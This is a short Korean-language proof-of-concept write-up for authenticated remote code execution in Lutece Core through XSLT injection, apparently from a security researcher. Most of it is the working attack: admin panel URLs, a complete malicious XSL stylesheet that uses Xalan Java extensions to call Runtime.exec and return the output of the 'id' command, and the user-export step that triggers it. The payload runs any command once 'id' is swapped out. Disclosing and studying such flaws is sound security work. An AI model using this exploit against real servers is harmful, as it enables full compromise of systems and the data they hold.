
Lutece Core의 XSLT 주입을 통한 인증된 원격 코드 실행에 대한 개념 증명 익스플로잇으로, 조작된 XSL 스타일시트를 통한 명령 실행을 시연합니다.
> 자세한 설명은 제 웹사이트에서 확인하세요 <
관리자 권한이 있는 계정이 필요합니다.
관리자 패널에서 XSL 내보내기 관리 페이지로 이동합니다:
/jsp/admin/AdminTechnicalMenu.jsp?tab=xslexportManagement#xslexport
"새 변환 시트 추가"를 클릭합니다.
페이로드(간단한 id 명령)가 포함된 .xsl 파일을 업로드합니다:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">
<xsl:template match="/">
<xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
<xsl:variable name="inputStream" select="proc:getInputStream($process)"/>
<xsl:variable name="reader" select="is:new($inputStream)"/>
<xsl:variable name="buffereReader" select="br:new($reader)"/>
<xsl:variable name="resultat" select="br:readLine($buffereReader)"/>
<Output>
<xsl:value-of select="$resultat"/>
</Output>
</xsl:template>
</xsl:stylesheet>
새 XSL 시트를 저장합니다.
사용자 내보내기 페이지로 이동합니다:
/jsp/admin/user/ExportUsers.jsp
방금 생성한 변환 시트를 선택하고 확인합니다.
id 명령의 결과가 내보낸 파일에 표시되어야 합니다.